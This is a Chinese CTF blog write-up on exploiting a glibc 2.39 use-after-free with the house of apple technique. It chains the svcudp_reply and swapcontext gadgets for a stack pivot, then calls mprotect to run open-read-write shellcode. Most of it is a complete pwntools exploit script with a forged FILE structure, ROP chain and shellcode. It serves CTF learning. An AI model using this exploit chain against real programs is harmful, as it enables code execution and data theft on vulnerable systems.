关于GLibc2.39下的house of apple利用

关于GLibc2.39下的house of apple利用

好久没有做pwn了,打hgame复健的时候遇到的GLibc2.39的uaf,本来想着套板子就能秒的,结果开了沙箱之后找不到gadget栈迁移打orw了。。好在是幽林师傅记录过orz,炒个冷饭记录下

hgame的板子题,就不放具体的ida代码了,主要是展示这两个gadget的配合

swapcontext+157
svcudp_reply+29

原本2.35下svcudp_reply+26可以直接用rdi控制rbp,再接leave ret就可以控制rsp了,到了2.39这里就只能控制r12了。

所以就要用到下面这个gadget,通过r12控制rdx,然后再通过rdx来控制各个寄存器(尤其是rsp)

那么我们的利用思路就是这样的

  1. fake_iolist+house of apple调用链控制rdi并调用到svcudp_reply+29
  2. 控制输入[rdi+0x48]=>r12,[r12+0x18]=>rax,[rax+0x28]=swapcontext+157
  3. 调用到swapcontext+157-->r12=>rdx,[rdx+0xe0]=>rcx(rcx要有值,否则运行到fldenv byte ptr [rcx]会卡住),[rdx+0xa0]=>rsp ,[rdx+0xc8]=ret或者pop rdi=>rcx(因为有个push rcx会抬栈)
  4. [rdx+0x68]=>rdi,[rdx+0x70]=>rdi,[rdx+0x88]=>rdx,然后ret到rsp上配合ROP链完成orw

原本到这里就结束了,我当时做的时候也是这么想的,结果往下写orw的时候出问题了,2.39的libc里居然没有pop rdx; ret?用pwntools搜索出来的地址的pop rdx没有执行权限,而直接用ROPgadget更是直接搜不出来。。运行完open之后rdx会清零,后面的rw不能控制rdx的话就没法用了,所以没办法,只能用唯一一次控制rdx的效果打mprotect然后写shellcode了。

另外提一嘴,之前有些板子里的fakeio中构造的lock这个地址是不存在的,但是在2.39下貌似会检测那个位置是否合法,所以就用原本iolist结构体中的地址代替了。就是这个

lock = 0x205700+libc_base

最终的exp如下:

from pwn import *
import ctypes
from PwnModules import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

#libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
#libc.srand.argtypes = [ctypes.c_uint]


li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('175.27.221.240',30844)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()	
def dbgg():
    raw_input()

menu = '>'

def add(index, size):
    r.sendlineafter(menu,'1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def edit(index, content):
    r.sendlineafter(menu,'3')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ',content)

def delete(index):
    r.sendlineafter(menu,'2')
    r.sendlineafter('Index: ', str(index))

def show(index):
    r.sendlineafter(menu,'4')
    r.sendlineafter('Index: ', str(index))


add(0,0x540)
add(1,0x568)
delete(0)

show(0)
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-0x203b20
li(hex(libc_base))


add(2,0x568)
add(3,0x558)
add(4,0x558)
delete(1)
add(5,0x598)
delete(3)
show(3)
heap_base=u64(r.recv(6)[-6:].ljust(8,b'\x00'))-0x830
li(hex(heap_base))
add(6,0x540)
#delete(0)
add(7,0x510)

add(8,0x548)
add(9,0x548)
delete(3)
add(10,0x600)
delete(8)
#dbg()

ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
puts_io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr=libc.symbols['puts']+libc_base
fake_io_addr = heap_base + 0x12c0
FakeIoAddr = heap_base + 0x1280
lock =0x205700+libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx = libc_base + next(libc.search(asm('pop rdx;ret;')))
r12 =  libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990
io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']
system = libc_base+libc.sym['system']
swapcontext = libc_base+0x5814d#swapcontext+157
magic_gadget = libc_base +0x179220+29#+ libc.sym['svcudp_reply'] + 0x1d
syscall = 0x00000000000288b5+libc_base
pop_rax = libc_base + next(libc.search(asm('pop rax;ret;')))
mprotect = libc_base+libc.sym['mprotect']
edit(0,'./flag\x00\x00')
orw_addr=heap_base+0x1830
flag_addr = heap_base+0x260
sh_addr = heap_base+0xad0



pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8)     #chunk0+0xe0
pl+=p64(0)*0xd+p64(magic_gadget)


shellcode = asm('''
 push 0x67616c66
 push 0x2
 pop rax
 mov rdi,rsp
 xor rdx,rdx
 xor rsi,rsi
 syscall 
 xor rax,rax
 mov rdi,3
 mov rdx,0x30
 mov rsi,rsp
 add rsi,0x100
 syscall 
 push 1
 pop rax
 push 1
 pop rdi
 syscall
''')
pl2 = b''
pl2 = pl2.ljust(0x18,b'\x00')+p64(orw_addr+0x18)
pl2 = pl2.ljust(0x40,b'\x00')+p64(swapcontext)
pl2 = pl2.ljust(0x80,b'\x00')+p64(7)+p64(7)
pl2 = pl2.ljust(0xa0,b'\x00')+p64(orw_addr+0xf0)+p64(pop_rdi)
pl2 = pl2.ljust(0xe0,b'\x00')+p64(orw_addr+0x18)
pl2 = pl2.ljust(0xe8,b'\x00')+p64(heap_base)+p64(heap_base)+p64(pop_rsi)+p64(0x3000)+p64(mprotect)+p64(orw_addr+0x120)+b'./flag\x00\x00'
pl2 = pl2.ljust(0x120,b'\x00')+b'\x90'*8+shellcode
edit(3,pl)
edit(4,pl2)
add(11,0x610)

add(12,0x540)

dbg()
r.sendline('5')

r.interactive()

完整执行效果如下:





posted @ 2025-02-21 15:50  rbp  阅读(385)  评论(1)    收藏  举报